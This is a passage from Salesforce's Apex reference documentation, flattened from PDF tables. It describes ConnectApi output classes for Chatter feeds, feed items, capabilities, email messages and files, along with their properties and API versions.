Chatter email digest. Values are:

37.0

DailyDigestThe email includes up to the

50 latest posts from the previous day.
WeeklyDigestThe email includes up to
the 50 latest posts from the previous week.

ConnectApi.EditCapability
If a feed element or comment has this capability, users who have permission can edit it.

1400

Reference

Property Name

ConnectApi Output Classes

Type

Description

isEditRestricted Boolean

Available Version

Specifies whether editing this feed element or

34.0
comment is restricted. If true, the context user cant
edit this feed element or comment. If false, the
context user may or may not have permission to edit
this feed element or comment. To determine if the
context user can edit a feed element or comment,
use the
isFeedElementEditableByMe(communityId,
feedElementId) or
isCommentEditableByMe(communityId,
commentId) method.

isEditable
ByMeUrl

String

The URL to check if the context user is able to edit

this feed element or comment.

34.0

lastEditedBy

34.0

ConnectApi.EmailAddress Class
An email address.
Name

Type

Description

Available Version

displayName

String

The display name for the email address.

29.0

emailAddress

String

The email address.

29.0

relatedRecord

ConnectApi. The summary of a related record, for example, a contact or user

RecordSummary summary.
Class

36.0

ConnectApi.EmailAttachment
An email attachment in an email message.
Property Name

Type

Description

Available Version

attachment

ConnectApi.
RecordSummary

Record summary of the attachment.

36.0

contentType

String

Type of attachment.

36.0

1401

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

fileName

String

Name of the attachment.

36.0

ConnectApi.EmailMessage Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.EmailMessageCapability is
used.
Subclass of ConnectApi.FeedItemAttachment Class
An email message from a case.
Name

Type

Description

Available
Version

direction

ConnectApi.Email
MessageDirection

The direction of the email message.

29.031.0

Enum

emailMessageId String

InboundAn inbound message (sent by a customer).

OutboundAn outbound message (sent to a customer
by a support agent).
The ID of the email message.

29.031.0

subject

String

The subject of the email message.

29.031.0

textBody

String

The body of the email message.

29.031.0

toAddresses

List<ConnectApi.EmailAddress> A list of email addresses to send the message to.

29.031.0

ConnectApi.EmailMessageCapability
If a feed element has this capability, it has an email message from a case.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

1402

Reference

ConnectApi Output Classes

Property Name

Type

Description

direction

ConnectApi.
The direction of the email message. Values are:
EmailMessageDirection InboundAn inbound message (sent by a

Available Version
32.0

customer).
OutboundAn outbound message (sent to a
customer by a support agent).
emailMessageId

String

The ID of the email message.

32.0

fromAddress

ConnectApi.
EmailAddress
Class

The From address for the email message.

36.0

isRichText

Boolean

Indicates whether the body of the email message is 36.0

in rich text format.

subject

String

The subject of the email message.

32.0

textBody

String

The body of the email message.

A link URL to a detail page if available content cant 32.0

display inline.

title

String

A title to a detail page.

ConnectApi.EntityLinkSegment Class
Subclass of ConnectApi.MessageSegment Class

1403

32.0

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

motif

ConnectApi.Motif
Class

A set of small, medium, and large icons that indicate whether 28.0
the entity is a file, group, record, or user. The motif can also
contain the objects base color.

reference

ConnectApi.
Reference

A reference to the link object if applicable, otherwise, null. 28.0

ConnectApi.EntityRecommendation Class
Represents a recommendation, including file, group, record, topic, user, and custom recommendations.
Subclass of ConnectApi.AbstractRecommendation Class.
Property Name

Type

Description

Available Version

actOnUrl

String

For user, file, group, topic, and record entity

32.0
types, use this Chatter REST URL with a POST request
to take action on the recommendation.
For ConnectApi.RecommendedObject
entity types, such as custom recommendations,
use the actionUrl property of the
ConnectApi.PlatformAction Class to take action on
the recommendation.

action

ConnectApi.
Recommendation
ActionType

Specifies the action to take on a recommendation.

32.0

followFollow a file, record, topic, or user.

joinJoin a group.
viewView a file, group, article, record, user,
custom, or static recommendation.

entity

ConnectApi.Actor The entity with which the receiver is recommended 32.0

to take action.

ConnectApi.Features Class
Property

Type

Description

Available
Version

chatter

Boolean

Indicates whether Chatter is enabled for an organization

28.0

chatterActivity Boolean

Indicates whether the user details include information about Chatter

activity

28.0

chatterAnswers Boolean

Indicates whether Chatter Answers is enabled

29.0

1404

Reference

Property

ConnectApi Output Classes

Type

chatter
Boolean
GlobalInfluence

Description

Available
Version

Indicates whether the user details include global Chatter activity

28.0

chatterGroup
Records

Boolean

Specifies whether Chatter groups can have records associated with them 30.0

chatterGroup
RecordSharing

Boolean

Specifies whether Chatter records are implicitly shared among group

members when records are added to groups

Indicates whether the user can post dashboard component snapshots

28.0

default
Currency
IsoCode

String

The ISO code of the default currency. Applicable only when

multiCurrency is false.

28.0

feedPolling

Boolean

Reserved for future use.

28.0

files

Boolean

Indicates whether files can act as resources for Chatter API

28.0

filesOnComments Boolean

Indicates whether files can be attached to comments

28.0

groupsCanFollow Boolean

Reserved for future use

28.029.0
29.0

ideas

Boolean

Indicates whether Ideas is enabled

managedTopics
Enabled

Boolean

Indicates access to the community home feed and the managed topic 32.0
feed.

maxFiles
PerFeedItem

Integer

Specifies the maximum number of files that can be added to a feed item. 36.0

mobile
Notifications
Enabled

Boolean

Reserved for future use

multiCurrency

Boolean

Indicates whether the users organization uses multiple currencies (true) 28.0
or not (false). When false, the defaultCurrencyIsoCode
indicates the ISO code of the default currency.

1405

29.0

Reference

Property

ConnectApi Output Classes

Type

Description

Available
Version

offlineEditEnabled Boolean

Specifies whether the offline object permissions are enabled for

Salesforce1 downloadable app mobile clients.

37.0

publisherActions Boolean

Indicates whether actions in the publisher are enabled

28.0

storeData
OnDevices
Enabled

Boolean

Indicates whether the Salesforce1 downloadable apps can use secure,

persistent storage on mobile devices to cache data.

30.0

thanksAllowed

Boolean

Reserved for future use

28.0

Indicates whether trending topics are enabled

28.0

trendingTopics Boolean
viralInvites
Allowed

Boolean

Indicates whether existing Chatter users can invite people in their

company to use Chatter

28.0

wave

Boolean

Indicates whether Wave is enabled

36.0

Description

Available
Version

feedElementPostUrl String

Chatter REST API URL for posting feed elements to this subject.

31.0

feedElementsUrl String

Chatter REST API URL of feed elements.

31.0
28.031.0

ConnectApi.Feed Class
Name

Type

feedItemsUrl

String

Chatter REST API URL of feed items.

isModifedUrl

String

A Chatter REST API URL with a since request parameter that contains 28.0
an opaque token that describes when the feed was last modified. Returns
null if the feed isnt a news feed. Use this URL to poll a news feed for
updates.
Important: This feature is available through a Feed Polling pilot
program. This pilot program is closed and not accepting new
participants.

respectsMute

Boolean

Indicates whether the feed respects the mute feature. If true, the feed 35.0
shows the ability to mute or unmute each element, depending on the
value of isMutedByMe; null if the mute feature is disabled for the
organization.

ConnectApi.FeedBody Class
Subclass of ConnectApi.AbstractMessageBody Class
No additional properties.

1406

Reference

ConnectApi Output Classes

ConnectApi.FeedDirectory Class
A directory of feeds and favorites.
Name

Type

Description

Available
Version

favorites

List<ConnectApi.Feed
Favorite>

A list of feed favorites

30.0

feeds

List<ConnectApi.FeedDirectoryItem> A list of feeds

30.0

ConnectApi.FeedDirectoryItem Class
The definition of a feed.
Name

Type

feedElementsUrl String

Description

Available
Version

Chatter REST API resource URL for the feed elements.

feedItemsUrl

String

feedType

ConnectApi The feed type. One of these values:

30.0
.FeedType BookmarksContains all feed items saved as bookmarks by the

Enum

Chatter REST API resource URL for the feed items of a specific feed.

context user.
CompanyContains all feed items except feed items of type
TrackedChange. To see the feed item, the user must have sharing
access to its parent.
FilesContains all feed items that contain files posted by people
or groups that the context user follows.
FilterContains the news feed filtered to contain feed items
whose parent is a specified object type.
GroupsContains all feed items from all groups the context user
either owns or is a member of.
HomeContains all feed items associated with any managed topic
in a community.
ModerationContains all feed items that have been flagged for
moderation. The Communities Moderation feed is available only to
users with Moderate Community Feeds permissions.
MuteContains all feed items that the context user muted.
NewsContains all updates for people the context user follows,
groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the
context user and every feed item and comment that mentions the
context user or that mentions a group the context user is a member
of.

1407

30.031.0

Available Version

body

ConnectApi.
FeedBody

Information about the feed element.

22.0

Important: Use the header.text

property as the default value for rendering

1408

Reference

Property Name

ConnectApi Output Classes

Type

Description

Available Version

text because the body.text property can

be null.
capabilities

ConnectApi.
FeedElement
Capabilities
Class

A container for all capabilities that can be included

with a feed element.

31.0

createdDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z.

31.0

feedElementType

ConnectApi.
FeedElementType

Feed elements are the top-level objects that a feed 31.0

contains. The feed element type describes the
characteristics of that feed element. One of these
values:
BundleA container of feed elements. A
bundle also has a body made up of message
segments that can always be gracefully degraded
to text-only values.
FeedItemA feed item has a single parent
and is scoped to one community or across all
communities. A feed item can have capabilities
such as bookmarks, canvas, content, comment,
link, poll. Feed items have a body made up of
message segments that can always be gracefully
degraded to text-only values.
RecommendationA recommendation is a
feed element with a recommendations capability.
A recommendation suggests records to follow,
groups to join, or applications that are helpful to
the context user.

header

ConnectApi.
MessageBody

The header is the title of the post. This property

31.0
contains renderable plain text for all the segments
of the message. If a client doesnt know how to
render a feed element type, it should render this text.

String

18-character ID of the feed element.

22.0

modifiedDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z.

31.0

parent

ConnectApi.
ActorWithId

Feed elements parent

28.0

relativeCreated
Date

Datetime

The created date formatted as a relative, localized

string, for example, 17m ago or Yesterday.

31.0

url

String

Chatter REST API URL to this feed element.

22.0

1409

Reference

ConnectApi Output Classes

ConnectApi.FeedElementCapabilities Class
A container for all capabilities that can be included with a feed element.
Property Name

Type

Description

Available Version

approval

ConnectApi.
If a feed element has this capability, it includes
ApprovalCapability information about an approval.
Class

32.0

associated
Actions

ConnectApi.
If a feed element has this capability, it has platform
AssociatedActions actions associated with it.
Capability

33.0

banner

ConnectApi.
If a feed element has this capability, it has a banner
BannerCapability motif and style.
Class

31.0

bookmarks

ConnectApi.
If a feed element has this capability, the current user 31.0
can bookmark it.
Bookmarks
Capability Class

bundle

ConnectApi.
If a feed element has this capability, it has a container 31.0
BundleCapability of feed elements called a bundle.
Class

canvas

ConnectApi.Canvas If a feed element has this capability, it renders a

Capability Class canvas app.

32.0

caseComment

ConnectApi.Case If a feed element has this capability, it has a case

CommentCapability comment on the case feed.
Class

32.0

chatterLikes

ConnectApi.
If a feed element has this capability, the context user 31.0
can like it. Exposes information about existing likes.
ChatterLikes
Capability Class

comments

ConnectApi.
If a feed element has this capability, the context user 31.0
CommentsCapability can add a comment to it.
Class

content

ConnectApi.
If a comment has this capability, it has a file
ContentCapability attachment.

32.035.0

Most ConnectApi.ContentCapability
properties are null if the content has been deleted
from the feed element or if the access has changed
to private.
Important: In version 36.0 and later, use the
files property.
dashboardComponent ConnectApi.
If a feed element has this capability, it has a
Snapshot
DashboardComponent dashboard component snapshot. A snapshot is a
SnapshotCapability

1410

32.0

Reference

Property Name

ConnectApi Output Classes

Type

Description

Available Version

static image of a dashboard component at a specific

point in time.
edit

ConnectApi.
EditCapability

If a feed element has this capability, users who have 34.0

permission can edit it.

emailMessage

ConnectApi.
EmailMessage
Capability

If a feed element has this capability, it has an email

message from a case.

enhancedLink

ConnectApi.
EnhancedLink
Capability

If a feed element has this capability, it has a link that 32.0

may contain supplemental information like an icon,
a title, and a description.

files

ConnectApi.
FilesCapability

If a feed element has this capability, it has one or

more file attachments.

interactions

ConnectApi.
Interactions
Capability

If a feed element has this capability, it has information 37.0

about user interactions.

link

ConnectApi.
LinkCapability

If a feed element has this capability, it has a link.

moderation

ConnectApi.
If a feed element has this capability, users in a
community can flag it for moderation.
Moderation
Capability Class

mute

ConnectApi.
MuteCapability

origin

ConnectApi.OriginCapability If a feed element has this capability, it was created

32.0

36.0

32.0
31.0

If a feed element has this capability, users can mute 35.0

it.
33.0

by a feed action.
poll

ConnectApi.
PollCapability
Class

If a feed element has this capability, it includes a poll. 31.0

questionAndAnswers ConnectApi.
If a feed element has this capability, it has a question 31.0
QuestionAndAnswers and comments on the feed element are answers to
Capability Class the question.
recommendations

ConnectApi.
Recommendations
Capability

If a feed element has this capability, it has a

recommendation.

recordSnaphot

ConnectApi.
RecordSnapshot
Capability

If a feed element has this capability, it contains all the 32.0

snapshotted fields of a record for a single create
record event.

socialPost

ConnectApi.
If a feed element has this capability, it can interact
SocialPostCapability with a social post on a social network.

1411

32.0

36.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

status

ConnectApi.
If a feed element has this capability, it has a status
StatusCapability that determines its visibility.
(Beta)

Available Version
37.0

Note: This release contains a beta version of

the pre-moderation feature, which means its
a high-quality feature with known limitations.
This feature isnt generally available unless or
until Salesforce announces its general
availability in documentation or in press
releases or public statements. We cant
guarantee general availability within any
particular time frame or at all. Make your
purchase decisions only on the basis of
generally available products and features. You
can provide feedback and suggestions for this
feature in the Community Implementation
group in the Success Community.

topics

ConnectApi.
If a feed element has this capability, the context user 31.0
TopicsCapability can add topics to it. Topics help users organize and
discover conversations.
Class

trackedChanges

ConnectApi.
TrackedChanges
Capability

If a feed element has this capability, it contains all

32.0
changes to a record for a single tracked change event.

ConnectApi.FeedElementCapability Class
A feed element capability, which defines the characteristics of a feed element.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesnt have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesnt exist, it isnt possible to like that feed
element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
This class is abstract.
This class is a superclass of:
ConnectApi.AssociatedActionsCapability Class
ConnectApi.ApprovalCapability Class
ConnectApi.BannerCapability Class
ConnectApi.BookmarksCapability Class
ConnectApi.BundleCapability Class
ConnectApi.CanvasCapability Class
ConnectApi.CaseCommentCapability Class

1412

Reference

ConnectApi Output Classes

ConnectApi.ChatterLikesCapability Class
ConnectApi.CommentsCapability Class
ConnectApi.ContentCapability
ConnectApi.DashboardComponentSnapshotCapability
ConnectApi.EmailMessageCapability
ConnectApi.EnhancedLinkCapability
ConnectApi.FilesCapability
ConnectApi.InteractionsCapability
ConnectApi.LinkCapability
ConnectApi.ModerationCapability Class
ConnectApi.MuteCapability
ConnectApi.OriginCapability
ConnectApi.PollCapability Class
ConnectApi.QuestionAndAnswersCapability Class
ConnectApi.RecommendationsCapability
ConnectApi.RecordSnapshotCapability
ConnectApi.SocialPostCapability
ConnectApi.StatusCapability (Beta)
ConnectApi.TopicsCapability Class
ConnectApi.TrackedChangesCapability
This class doesnt have any properties.

ConnectApi.FeedElementPage Class
A paged collection of ConnectApi.FeedElement objects.
Property Name

Type

isModifiedUrl

String

A Chatter REST API URL with a since request

31.0
parameter that contains an opaque token that
describes when the feed was last modified. Returns
null if the feed isnt a news feed. Use this URL to
poll a news feed for updates.
Important: This feature is available through
a Feed Polling pilot program. This pilot
program is closed and not accepting new
participants.

nextPageToken

String

Token identifying the next page or null if there is 31.0

no next page.

nextPageUrl

String

Chatter REST API URL identifying the next page or 31.0

null if there isnt a next page. Check whether this
value is null before getting another page. If a page
doesnt exist, a
ConnectApi.NotFoundException error is
returned.

updatesToken

String

A token to use in a request to the

31.0

ConnectApi.ChatterFeeds.getFeedElementsUpdatedSince

method.
updatesUrl

String

A Chatter REST API feed resource containing the feed 31.0

elements that have been updated since the feed was
refreshed. If the feed doesnt support this feature, the
value is null.

ConnectApi.FeedEntityIsEditable
Indicates if the context user can edit a feed element or comment.
Property Name

Type

Description

Available Version

areAttachments
EditableByMe

Boolean

true if the context user can add and remove

36.0

feedEntityUrl

String

URL of the feed element or comment.

isEditableByMe

Boolean

true if the context user can edit the feed element 34.0
or comment, false otherwise.

attachments on the feed element or comment,

false otherwise.

1414

34.0

Reference

ConnectApi Output Classes

ConnectApi.FeedFavorite Class
Name

Type

Description

community

ConnectApi.Reference Information about the community that contains the

Available Version
28.0

favorite
createdBy

ConnectApi.User
Summary

Favorites creator

28.0

feedUrl

String

Chatter REST API URL identifying the feed item for this 28.0
favorite

String

Favorites 18character ID

28.0

lastViewDate

Datetime

ISO8601 date string, for example,

2011-02-25T18:24:31.000Z

28.0

name

String

Favorites name

28.0

searchText

String

If the favorite is from a search, contains the search text, 28.0

otherwise, an empty string

target

ConnectApi.Reference A reference to the topic if applicable, null otherwise 28.0

type

ConnectApi.
An empty string or one of the following values:
FeedFavoriteType Enum ListView

28.0

Search
Topic
url

String

Chatter REST API URL to this favorite

28.0

user

ConnectApi.User
Summary

Information about the user who saved this favorite

28.0

Description

Available Version

ConnectApi.FeedFavorites Class
Name

Type

favorites

List<ConnectApi.Feed Complete list of favorites

Favorite>

28.0

total

Integer

28.0

Total number of favorites

ConnectApi.FeedItem Class
Subclass of ConnectApi.FeedElement Class as of 31.0.

1415

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

actor

ConnectApi.Actor

The entity that created the feed item.

28.0

attachment

ConnectApi.FeedItem
Attachment

Information about the attachment. If there is no

attachment, returns null.

28.031.0

Important: As of version 32.0, use the

inherited capabilities property.
canShare

Boolean

Indicates whether the feed item can be shared.

28.0

If a feed item has multiple file attachments and at least

one attachment has been deleted or is inaccessible,
the feed item cant be shared. The canShare value
is incorrectly set to true in these cases.
clientInfo

ConnectApi.ClientInfo

Information about the connected app used to

authenticate the connection.

28.0

comments

ConnectApi.CommentPage

First page of comments for this feed item.

28.031.0

Important: As of version 32.0, use the

inherited
capabilities.comments.page

property.
event

Boolean

true if feed item is created due to an event change, 22.0

false otherwise

isBookmarked
ByCurrentUser

Boolean

true if the current user has bookmarked this feed

item, otherwise, false.

28.031.0

Important: As of version 32.0, use the

inherited
capabilities.bookmarks.isBookmarkedByCurrentUser

property.
isDelete
Restricted

Boolean

If this property is true the comment cannot be

deleted by the context user. If it is false, it might
be possible for the context user to delete the
comment, but it is not guaranteed.

28.0

isLikedBy
CurrentUser

Boolean

true if the current user has liked this feed item,

otherwise, false

28.031.0

Important: As of version 32.0, use the

inherited
capabilities.chatterLikes.isLikedByCurrentUser

property.

1416

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

likes

ConnectApi.ChatterLike
Page

First page of likes for this feed item.

28.031.0

Important: As of version 32.0, use the

inherited
capabilities.chatterLikes.page

property.
likesMessage

ConnectApi.MessageBody

A message body the describes who likes the feed item. 28.031.0
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.likesMessage

property.
moderationFlags ConnectApi.
ModerationFlags

Information about the moderation flags on a feed

item. If

29.030.0

ConnectApi.Features.communityModeration

is false, this property is null.

Important: As of version 31.0, use the
inherited
capabilities.moderation.moderationFlags

property.
myLike

ConnectApi.Reference

If the context user has liked the feed item, this

28.031.0
property is a reference to the specific like, otherwise,
null.
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.myLike

property.
originalFeedItem ConnectApi.Reference

A reference to the original feed item if this feed item 28.0

is a shared feed item, otherwise, null.

originalFeed
ItemActor

ConnectApi.Actor

If this feed item is a shared feed item, returns

28.0
information about the original poster of the feed item,
otherwise, returns null.

photoUrl

String

URL of the photo associated with the feed item

preamble

ConnectApi.MessageBody

A collection of message segments, including the

28.0-30.0
unformatted text of the message that you can use as
the title of a feed item. Message segments include
name, link, and motif icon information for the actor
that created the feed item.
Important: For API versions 29.0 and 30.0,
use the

1417

28.0

Reference

Name

ConnectApi Output Classes

Type

Description

Available
Version

ConnectApi.FeedItem.preamble.text

property as the default case to render text. For

API versions 31.0 and later, use the
ConnectApi.FeedElement.header.text

property as the default case to render text.

topics

ConnectApi.FeedItemTopicPage Topics for this feed item.

28.031.0

Important: As of version 31.0, use the

inherited
capabilities.topics.items

property.
type

ConnectApi.FeedItemType Specifies the type of feed item, such as a content post 28.0

or a text post.
Important: As of API version 32.0, use the
capabilities property to determine
what can be done with a feed item. See
Capabilities.
One of these values:
ActivityEventFeed item generated in
Case Feed when an event or task associated with
a parent record with a feed enabled is created or
updated.
AdvancedTextPostA feed item with
advanced text formatting, such as a group
announcement post.
ApprovalPostFeed item with an approval
capability. Approvers can act on the feed item
parent.
AttachArticleEventFeed item
generated when an article is attached to a case
in Case Feed.
BasicTemplateFeedItemFeed item
with an enhanced link capability.
CallLogPostFeed item generated when a
call log is saved to a case in Case Feed.
CanvasPostFeed item generated by a
canvas app in the publisher or from Chatter REST
API or Chatter in Apex. The post itself is a link to a
canvas app.
CaseCommentPostFeed item generated
when a case comment is saved in Case Feed.

1418

Reference

Name

ConnectApi Output Classes

Type

Description
ChangeStatusPostFeed item generated
when the status of a case is changed in Case Feed.
ChatTranscriptionPostFeed item
generated in Case Feed when a Live Agent chat
transcript is saved to a case.
CollaborationGroupCreatedFeed
item generated when a new public group is
created. Contains a link to the new group.
CollaborationGroupUnarchivedDeprecated.
Feed item generated when an archived group is
activated.
ContentPostFeed item with a content
capability.
CreateRecordEventFeed item that
describes a record created in the publisher.
DashboardComponentAlertFeed item
with a dashboard alert.
DashboardComponentSnapshotFeed
item with a dashboard component snapshot
capability.
EmailMessageEventFeed item generated
when an email is sent from a case in Case Feed.
FacebookPostDeprecated. Feed item
generated when a Facebook post is created from
a case in Case Feed.
LinkPostFeed item with a link capability.
MilestoneEventFeed item generated
when a case milestone is either completed or
reaches a violation status. Contains a link to the
case milestone.
PollPostFeed item with a poll capability.
Viewers of the feed item are allowed to vote on
the options in the poll.
ProfileSkillPostFeed item generated
when a skill is added to a users profile.
QuestionPostFeed item generated when
a question is asked.
As of API version 33.0, a feed item of this type can
have a content capability and a link capability.
ReplyPostFeed item generated by a Chatter
Answers reply.

1419

Available
Version

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

RypplePostFeed item generated when a

user posts thanks.
SocialPostFeed item generated when a
social post is created from a case in Case Feed.
TextPostFeed item containing text only.
TrackedChangeFeed item created when
one or more fields on a record have been
changed.
UserStatusDeprecated. A user's post to
their own profile.
visibility

ConnectApi.FeedItem
VisibilityType

Specifies the type of users who can see a feed item.

28.0

AllUsersVisibility is not limited to internal

users.
InternalUsersVisibility is limited to
internal users.

ConnectApi.FeedItemAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementCapability Class
is used.
This class is abstract.
Subclasses:
ConnectApi.ApprovalAttachment Class
ConnectApi.BasicTemplateAttachment Class
ConnectApi.CanvasTemplateAttachment Class
ConnectApi.EmailMessage Class
ConnectApi.CaseComment Class
ConnectApi.ContentAttachment Class
ConnectApi.DashboardComponentAttachment Class
ConnectApi.FeedPoll Class
ConnectApi.LinkAttachment Class
ConnectApi.RecordSnapshotAttachment Class
ConnectApi.TrackedChangeAttachment Class
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.

1420

Reference

ConnectApi Output Classes

Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.

ConnectApi.FeedItemPage Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementPage Class is used.
A paged collection of ConnectApi.FeedItem objects.
Name

Type

Description

Available
Version

currentPageToken String

Token identifying the current page.

28.031.0

currentPageUrl String

Chatter REST API URL identifying the current page.

28.031.0

isModifiedToken String

An opaque polling token to use in the since parameter of 28.031.0

the ChatterFeeds.isModified method. The token
describes when the feed was last modified.
Important: This feature is available through a Feed
Polling pilot program. This pilot program is closed and
not accepting new participants.

isModifiedUrl

String

A Chatter REST API URL with a since request parameter 28.031.0

ConnectApi Output Classes

ConnectApi.FeedItemTopicPage Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.TopicsCapability Class is used.
Name

Type

canAssignTopics Boolean

Description

Available
Version

true if a topic can be assigned to the feed item, false

28.031.0

otherwise
topics

List<ConnectApi.
Topic>

List of topics

28.031.0

ConnectApi.FeedModifiedInfo Class
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.
Name

Type

Description

Available
Version

isModified

Boolean

true if the news feed has been modified since the last time it was
polled; false otherwise. Returns null if the feed is not a news

28.0

feed.
isModifiedToken String

An opaque polling token to use in the since parameter of the

28.0
ChatterFeeds.isModified method. The token describes when
the feed was last modified.

String

nextPollUrl

ConnectApi.FeedPoll Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.PollCapability Class is used.
Subclass of ConnectApi.FeedItemAttachment Class
This object is returned as the attachment of ConnectApi.FeedItem objects where the type property is PollPost.
Name

Type

Description

Available Version

choices

List<ConnectApi. List of choices for poll.

FeedPoll
Choice>

28.031.0

myChoiceId

String

28.031.0

ID of the poll choice that the current user has voted for in this poll.
Returns null if the current user hasnt voted.

1422

Reference

Name

ConnectApi Output Classes

Type

totalVoteCount Integer

Description

Available Version

Total number of votes cast on the feed poll item.

28.031.0

ConnectApi.FeedPollChoice Class
Name

Type

Description

Available Version

String

Poll choice ID

28.0

position

Integer

The location in the poll where this poll choice exists. The first poll
choice starts at 1.

28.0

text

String

Label text associated with the poll choice

28.0

voteCount

Integer

Total number of votes for this poll choice

28.0

voteCountRatio Double

The ratio of total number of votes for this poll choice to all votes cast 28.0
in the poll. Multiply the ratio by 100 to get the percentage of votes
cast for this poll choice.

ConnectApi.FieldChangeSegment Class
Subclass of ConnectApi.ComplexSegment Class
No additional properties.

ConnectApi.FieldChangeNameSegment Class
Subclass of ConnectApi.MessageSegment Class
No additional properties.

ConnectApi.FieldChangeValueSegment Class
Subclass of ConnectApi.MessageSegment Class
Name

Type

Description

Available Version

valueType

ConnectApi.
FieldChange
ValueType Enum

Specifies the value type of a field change:

28.0

String

URL value if the field change is to a URL field (such as 28.0

a web address)

url

NewValueA new value

OldValueAn old value

ConnectApi.File Class
This class is abstract.

1423

Reference

ConnectApi Output Classes

Subclass of ConnectApi.ActorWithId Class

Superclass of ConnectApi.FileSummary Class
Name

Type

Description

Available Version

checksum

String

MD5 checksum for the file

28.0

content
ModifiedDate

Datetime

An ISO 8601 format date string, for example,

32.0
2011-02-25T18:24:31.000Z. File-specific modified date, which
is updated only for direct file operations, such as rename.
Modifications to the file from outside of Salesforce can update
this date.

contentSize

Integer

Size of the file in bytes

contentUrl

String

If the file is a link, returns the URL, otherwise, the string null 28.0

description

String

Description of the file

28.0

downloadUrl

String

URL to the file, that can be used for downloading the file

28.0

fileExtension

String

Extension of the file

28.0

fileType

String

Type of file, such as PDF, PowerPoint, and so on

28.0

flashRendition String
Status

Specifies if a flash preview version of the file has been

rendered

28.0

isInMyFileSync Boolean

true if the file is synced withSalesforce Files Sync; false 28.0

28.0

otherwise.
isMajorVersion Boolean

true if the file is a major version; false if the file is a

31.0

minor version. Major versions cant be replaced.

mimeType

String

moderationFlags ConnectApi.
ModerationFlags

Files MIME type

28.0

Information about the moderation flags on a file. If

30.0

ConnectApi.Features.communityModeration
is false, this property is null.

modifiedDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z. Modifications to the file from
within Salesforce update this date.

28.0

name

Name

Type

Description

Available Version

publishStatus

ConnectApi.
Specifies the publish status of the file.
FilePublishStatus PendingAccessFile is pending publishing.

28.0

PrivateAccessFile is private.
PublicAccessFile is public.
renditionUrl

String

URL to the rendition for the file

28.0

renditionUrl
240By180

String

URL to the 240 x 180 rendition resource for the file.For shared 29.0
files, renditions process asynchronously after upload. For
private files, renditions process when the first file preview is
requested, and arent available immediately after the file is
uploaded.

renditionUrl
720By480

String

URL to the 720 x 480 rendition resource for the file.For shared 29.0
files, renditions process asynchronously after upload. For
private files, renditions process when the first file preview is
requested, and arent available immediately after the file is
uploaded.

sharingOption

ConnectApi.
Sharing option of the file. Values are:
FileSharingOption AllowedResharing of the file is allowed.

35.0

RestrictedResharing of the file is restricted.

sharingRole

ConnectApi.
FileSharingType

Specifies the sharing role of the file:

28.0

AdminOwner permission, but doesnt own the file.

CollaboratorViewer permission, and can edit,
change permissions, and upload a new version of a file.
OwnerCollaborator permission, and can make a file
private, and delete a file.
ViewerCan view, download, and share a file.
WorkspaceManagedPermission controlled by the
library.

textPreview

String

thumb120By90
String
RenditionStatus

Text preview of the file if available; null otherwise.

30.0

Specifies the rendering status of the 120 x 90 preview image 28.0

of the file. One of these values:
ProcessingImage is being rendered.
FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.

thumb240By180 String
RenditionStatus

Specifies the rendering status of the 240 x 180 preview image 28.0
of the file. One of these values:
ProcessingImage is being rendered.

1425

Reference

Name

ConnectApi Output Classes

Type

Description

Available Version

FailedRendering process failed.

SuccessRendering process was successful.
NaRendering is not available for this image.
thumb720By480 String
RenditionStatus

Specifies the rendering status of the 720 x 480 preview image 28.0
of the file. One of these values:
ProcessingImage is being rendered.
FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.

title

String

Title of the file

28.0

versionNumber

String

Files version number

28.0

ConnectApi.FilesCapability
If a feed element has this capability, it has one or more file attachments.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

items

List<ConnectApi.
Content>

Collection of files.

36.0

ConnectApi.FileSummary Class
Subclass of ConnectApi.File Class
This class represents a summary description of a file.

ConnectApi.FollowerPage Class
Name

Type

currentPageUrl String

Description

Available Version

Chatter REST API URL identifying the current page.

28.0

followers

List<ConnectApi. List of subscriptions

Subscription>

nextPageUrl

String

28.0

Chatter REST API URL identifying the next page or null if 28.0
there isnt a next page. Check whether this value is null
before getting another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is returned.

1426

Reference

Name

ConnectApi Output Classes

Type

Description

previousPageUrl String

total

Available Version

Chatter REST API URL identifying the previous page or null 28.0
if there isnt a previous page.

Integer

Total number of followers across all pages

28.0

ConnectApi.FollowingCounts Class
Name

Type

Description

Available Version

people

Integer

Number of people user is following

28.0

records

Integer

Number of records user is following

28.0

Topics are a type of record that can be followed as of version 29.0.

total

Integer

Total number of items user is following

28.0

ConnectApi.FollowingPage Class
Name

Description

Available Version

currentPageUrl String

